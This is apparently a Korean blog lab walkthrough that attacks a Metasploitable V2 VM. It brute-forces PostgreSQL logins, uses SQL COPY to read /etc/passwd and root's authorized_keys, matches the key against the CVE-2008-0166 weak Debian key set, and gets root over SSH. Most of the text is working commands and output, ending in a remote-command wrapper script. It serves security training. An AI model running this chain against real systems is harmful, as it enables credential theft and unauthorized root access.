PostgreSQL Bruteforce, Obtain and Crack Root SSH key
DB를 통한 운영체제 다루는 기술 CVE-2008-0166
■ 사용시스템
Metasploitable V2 Linux
KaliLinux
What is exploit CVE-2008-0166?
OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 on Debian-based operating systems uses a
random number generator that generates predictable numbers, which makes it easier for
remote attackers to conduct brute force guessing attacks against cryptographic keys.
Debian 기반의 OS에 OpenSSL 0.9.8c-1 버전부터 0.9.8g-9 이전 버전까지는 예측가능한 숫자를 가
지고 생성하여 사용한다. 이런경우에는 쉽게 무작위 추측 공격을 통해 암호화 키에 대한 원격 공격이 가능하다.
We will use this exploit to download 32768 potential ssh private/public key pairs for a
future brute force attack.
앞으로의 무작위 공격을 위해 공격 가능성이 높은 32768개의 ssh private/public 키 쌍의 묶음 파
일을 다운로드하여 공격한다.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0166
***************************************************************************************************************
http://www.exploit-db.com -> CVE-2008-0166 검색
2008-08-01 Predictable PRNG Brueforce SSH Exploit (Python)
https://www.exploit-db.com/exploits/5720/
......(중략).... 툴 제공
# Autor: hitz - WarCat team (warcat.no-ip.org)
# Collaborator: pretoriano
#
# 1. Download https://github.com/offensive-security/exploit-database-bin-sploits/
raw/master/sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)
#
# 2. Extract it to a directory
#
# 3. Execute the python script
# - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5
# - execute: python exploit.py (without parameters) to display the help
# - if the key is found, the script shows something like that:
# Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121
# Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240
===============================================================================================================
DB 크랙 작업
■ (선수작업1)
(KaliLinux)
# cd /var/tmp
# wget --no-check-certificate \
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5622.tar.bz2
ㄴ 인증서 없이 작업 하는 방법/파일 다운
-> 출력 내용 생략
# ls -l 5622*
-> 출력 내용 생략
# tar xvjf 5622.tar.bz2
-> 출력 내용 생략
ㄴ 다운받은 파일 압축 해제
■ (선수작업2)
(Metasploitable V2)
관리자 암호 설정
msfadmin 사용자로 로그인
$ sudo su -
# passwd
-> 관리자 암호를 soldesk1. 설정한다.
===============================================================================================================
(KaliLinux)
포트 스캐닝
# nmap -sV 192.168.10.134
.....
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
PostgreSQL 서버의 ID/PASS dictionary attack
# msfconsole -q
msf > search postgres_login
msf > use auxiliary/scanner/postgres/postgres_login
msf auxiliary(postgres_login) > show options
msf auxiliary(postgres_login) > set RHOSTS 192.168.10.134
msf auxiliary(postgres_login) > set STOP_ON_SUCESS true
msf auxiliary(postgres_login) > exploit[-] 192.168.10.134:5432 POSTGRES - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password) [-] 192.168.10.134:5432 POSTGRES - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password) [+] 192.168.10.134:5432 - LOGIN SUCCESSFUL: postgres:postgres@template1 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed |
# psql -h 192.168.10.134 -U postgres
passwd : postgres
*****************************************************************************************************
postgres=# help
postgres=# select * from pg_user; pg_user 테이블 안의 내용 화인
postgres=# create user hacker with password 'abc123'; 새로운 사용자 생성
postgres=# select * from pg_user; 사용자 권한 변경 f <-- 일반 사용자 권한이 없음
postgres=# create user hacker with superuser; 사용자의 권한 변경
postgres=# \dn 모든 스키마(schemas) 출력
postgres=# \l 모든 데이터베이스(databases) 출력
postgres=# create table accounts (linux_users text); accounts 테이블 컬럼 생성
postgres=# copy accounts from '/etc/passwd'; accounts 테이블 내용 복사
postgres=# select * from accounts where linux_users like '%bash%'; accounts 테이블에 bash 단어를 가진 목록 확인
postgres=# create table sshkeys (auth_key text); sshkeys 테이블 생성
postgres=# select * from accounts where linux_users like '%bash%';
postgres=# copy sshkeys from '/root/.ssh/authorized_keys'; /root/.ssh/authorized_keys 내용을 sshkeys 파일에 복사
postgres=# \q PostgreSQL 접속 해제
*****************************************************************************************************
수동으로 작업 해보기
# psql -h 192.168.10.134 \
-U postgres \
-c 'select * from sshkeys limit 1' | tee sshkeys.txt
postgres 사용자의 암호: (postgres) auth_key ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJk cteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R 0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUG IzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1 RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable (1개 행) |
-> PostgreSQL 서버에 생성된 sshkeys 테이블의 내용을 sshkeys.txt 파일에 저장
# ls -l sshkeys.txt
# grep "ssh-rsa" sshkeys.txt | awk '{print $2}'
-> sshkeys.txt 파일의 내용 중 "ssh-rsa"을 검색하여 두번째 필드를 출력(key만)
AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQql
dJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXX
vSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw
2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoX
fdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w==
sshkeys.txt 파일의 내용 중 마지막 == 부분을 삭제
# grep "ssh-rsa" sshkeys.txt | awk '{print $2}' | sed 's/==$//'
AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQql
dJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXX
vSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw
2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoX
fdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w
[참고] grep 명령어의 확장 명령어
# fgrep '^root' file1 안을 해석하지않고 root를 검색
# egrep '(root|adm|nobody)' /etc/group
# fgrep `grep "ssh-rsa" sshkeys.txt | awk '{print $2}' | sed 's/==$//'` \
/var/tmp/rsa/2048/*.pub | tee keys.txt
-> /var/tmp/rsa/2048/*.pub 파일들의 내용 중에서 sshkeys.txt 파일과 동일한 내용 검색하여
keys.txt 파일에 저장
# cat keys.txt
# cat keys.txt | awk -F: '{print $1}'
-> /var/tmp/rsa/2048 디렉토리안의 파일 중 keys.txt 파일의 내용이 들어 있는 파일 이름과 필터링
----- HostA ----- ----- HostB ----
# ssh-keygen -t rsa
/root/.ssh/A
/root/.ssh/A.pub --------> /root/.ssh/authorized_kyes
# cat keys.txt | awk -F: '{print $1}' | sed 's/.pub//'
/var/tmp/rsa/2048/57c3115d77c56390332dc5c49978627a-5429 |
-> 파일의 이름 중 .pub 확장자를 필터링
# ssh -i `cat keys.txt | awk -F: '{print $1}' | sed 's/.pub//'` root@192.168.10.134
(# ssh -i Keyfile root@192.168.10.134)
Last login: Thu Apr 7 21:05:17 2016 from :0.0 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ You have new mail. |
# hostname
metasploitable |
# id
uid=0(root) gid=0(root) groups=0(root) |
# exit
#
# ssh -i `cat keys.txt | awk -F: '{print $1}' | sed 's/.pub//'` \
root@192.168.10.134 "hostname;id"
metasploitable uid=0(root) gid=0(root) groups=0(root) |
[참고] 여러가지 명령어를 수행해 본다.
# vi cmd.sh
#!/bin/bash
ssh -i `cat keys.txt | awk -F: '{print $1}' | sed 's/.pub//'` \ root@192.168.10.134 $* |
# chmod 755 cmd.sh
# ./cmd.sh hostname
# ./cmd.sh id
# ./cmd.sh ifconfig -a
'Learning > └◆Metasploit' 카테고리의 다른 글
metasploit 08. Tomcat 취약점 (0) | 2017.01.05 |
---|---|
metasploit 07. HTTrack 툴 사용 (0) | 2017.01.05 |
metasploit 05. 메타스플로잇을 이용한 서비스 취약점 점검 (0) | 2017.01.04 |
metasploit 04 zenmap을 통해 포트스캔된 정보를 metasploit에서 읽기 (0) | 2017.01.04 |